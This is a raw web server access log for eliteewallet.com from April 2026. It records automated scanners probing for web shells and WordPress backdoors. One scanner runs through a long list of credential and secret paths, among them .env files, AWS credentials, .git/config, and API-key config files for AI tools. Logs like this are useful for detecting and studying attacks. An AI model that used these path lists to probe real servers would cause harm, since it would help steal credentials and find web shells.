[14/Apr/2026:15:34:11 +0300] "GET /black.php HTTP/1.1" 301 795 "http://eliteewallet.com/black.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:34:17 +0300] "GET /zb_config.php?ote HTTP/1.1" 301 795 "http://eliteewallet.com/zb_config.php?ote" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:34:23 +0300] "GET /dd.php HTTP/1.1" 301 795 "http://eliteewallet.com/dd.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:34:33 +0300] "GET /page.php HTTP/1.1" 301 795 "http://eliteewallet.com/page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:34:43 +0300] "GET /core.php HTTP/1.1" 301 795 "http://eliteewallet.com/core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:34:53 +0300] "GET /build.php HTTP/1.1" 301 795 "http://eliteewallet.com/build.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:03 +0300] "GET /tages.php?ote HTTP/1.1" 301 795 "http://eliteewallet.com/tages.php?ote" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:13 +0300] "GET /common.php HTTP/1.1" 301 795 "http://eliteewallet.com/common.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:19 +0300] "GET /robots.php HTTP/1.1" 301 795 "http://eliteewallet.com/robots.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:23 +0300] "GET /whbs.php HTTP/1.1" 301 795 "http://eliteewallet.com/whbs.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:33 +0300] "GET /guowai.php HTTP/1.1" 301 795 "http://eliteewallet.com/guowai.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:40 +0300] "GET /newfile.php?ote HTTP/1.1" 301 795 "http://eliteewallet.com/newfile.php?ote" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:44 +0300] "GET /404.php HTTP/1.1" 301 795 "http://eliteewallet.com/404.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:52 +0300] "GET /readme.php HTTP/1.1" 301 795 "http://eliteewallet.com/readme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:35:57 +0300] "GET /cc.php HTTP/1.1" 301 795 "http://eliteewallet.com/cc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:03 +0300] "GET /is.php HTTP/1.1" 301 795 "http://eliteewallet.com/is.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:08 +0300] "GET /add.php HTTP/1.1" 301 795 "http://eliteewallet.com/add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:18 +0300] "GET /byzz.php HTTP/1.1" 301 795 "http://eliteewallet.com/byzz.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:24 +0300] "GET /mgsl.php HTTP/1.1" 301 795 "http://eliteewallet.com/mgsl.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:34 +0300] "GET /ftmabc.php HTTP/1.1" 301 795 "http://eliteewallet.com/ftmabc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:42 +0300] "GET /xxtx.php HTTP/1.1" 301 795 "http://eliteewallet.com/xxtx.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 114.66.17.37 - - [14/Apr/2026:15:36:52 +0300] "GET /fuckyouwaf.php HTTP/1.1" 301 795 "http://eliteewallet.com/fuckyouwaf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 49.51.245.241 - - [14/Apr/2026:17:54:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.28.234.178 - - [14/Apr/2026:20:02:40 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:44 +0300] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:44 +0300] "GET /.env.production HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:44 +0300] "GET /.env.bak HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:45 +0300] "GET /.env.old HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:45 +0300] "GET /.env.backup HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:45 +0300] "GET /.env.dev HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:45 +0300] "GET /.env.staging HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:45 +0300] "GET /.env.development HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:45 +0300] "GET /.env.example HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:46 +0300] "GET /app/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:46 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:46 +0300] "GET /backend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:48 +0300] "GET /src/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:48 +0300] "GET /server/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:49 +0300] "GET /web/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:49 +0300] "GET /config/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:49 +0300] "GET /laravel/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:50 +0300] "GET /private/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:50 +0300] "GET /v1/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:52 +0300] "GET /frontend/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:53 +0300] "GET /client/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:53 +0300] "GET /.openai/config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:54 +0300] "GET /.openai/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:02:54 +0300] "GET /.anthropic/config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:54 +0300] "GET /.claude/settings.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:55 +0300] "GET /.cursor/mcp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:55 +0300] "GET /.continue/config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:55 +0300] "GET /.llm/keys.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:02:55 +0300] "GET /mcp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:03:00 +0300] "GET /.aws/credentials HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:03:00 +0300] "GET /.aws/config HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:03:01 +0300] "GET /credentials.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.234.178 - - [14/Apr/2026:20:03:01 +0300] "GET /serviceAccountKey.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:03:01 +0300] "GET /aws-exports.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:03:03 +0300] "GET /config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.234.178 - - [14/Apr/2026:20:03:04 +0300] "GET /config.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.234.178 - - [14/Apr/2026:20:03:04 +0300] "GET /secrets.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:03:05 +0300] "GET /appsettings.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:03:05 +0300] "GET /docker-compose.yml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.234.178 - - [14/Apr/2026:20:03:06 +0300] "GET /actuator/env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 43.133.66.51 - - [14/Apr/2026:18:47:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 161.97.174.100 - - [14/Apr/2026:20:06:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.47.78.120 - - [14/Apr/2026:19:08:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 212.47.78.120 - - [14/Apr/2026:19:08:04 +0300] "GET /wp-includes/css/buttons.css HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 128.251.16.122 - - [14/Apr/2026:19:37:09 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.161.65 - - [14/Apr/2026:18:47:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 104.28.234.178 - - [14/Apr/2026:20:03:06 +0300] "GET /env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:03:06 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:03:09 +0300] "GET /.npmrc HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:03:10 +0300] "GET /js/config.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.234.178 - - [14/Apr/2026:20:03:10 +0300] "GET /public/config.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36" 104.28.234.178 - - [14/Apr/2026:20:03:10 +0300] "GET /env.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0" 104.28.234.178 - - [14/Apr/2026:20:03:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 36.111.67.189 - - [14/Apr/2026:18:37:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 104.248.127.178 - - [14/Apr/2026:21:59:58 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 161.35.115.64 - - [14/Apr/2026:22:15:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 89.110.115.121 - - [14/Apr/2026:22:59:12 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 107.189.18.50 - - [14/Apr/2026:23:38:56 +0300] "HEAD /backup.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 161.35.115.64 - - [14/Apr/2026:22:15:24 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 17.22.253.122 - - [14/Apr/2026:22:00:58 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.22.253.122 - - [14/Apr/2026:22:00:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 45.154.98.56 - - [14/Apr/2026:23:34:53 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 43.154.127.188 - - [15/Apr/2026:00:11:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.138.68.113 - - [15/Apr/2026:00:41:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.135.144.81 - - [15/Apr/2026:01:03:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 1.161.35.87 - - [15/Apr/2026:01:15:16 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 104.248.127.178 - - [15/Apr/2026:02:14:08 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 141.255.164.70 - - [15/Apr/2026:04:06:42 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 141.255.164.70 - - [15/Apr/2026:04:06:05 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://www.facebook.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36" 141.255.164.70 - - [15/Apr/2026:04:06:14 +0300] "GET /wp-content/plugins/ninja-forms-uploads/readme.txt HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.88 Safari/537.36" 4.205.44.31 - - [15/Apr/2026:06:45:24 +0300] "GET /rip.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:45:39 +0300] "GET /wpxl.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:40 +0300] "GET /about/chosen.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:48:27 +0300] "GET /hh.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:50:05 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:13 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:16 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:21 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:25 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:51:29 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:09 +0300] "GET /alex.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:35 +0300] "GET /wp-ad.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:53:39 +0300] "GET /send.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:21 +0300] "GET /owl.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:31 +0300] "GET /vuln.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:55:53 +0300] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:16 +0300] "GET /41.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:22 +0300] "GET /4price.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:25 +0300] "GET /MARIJUANA.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:56:41 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:58:39 +0300] "GET /uploader.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:45:49 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:18 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:21 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:46:27 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:27 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:47:31 +0300] "GET /index/chosen.php HTTP/1.1" 301 795 "-" "-" 4.205.44.31 - - [15/Apr/2026:06:48:06 +0300] "GET /css/chosen.php HTTP/1.1" 301 795 "-" "-" 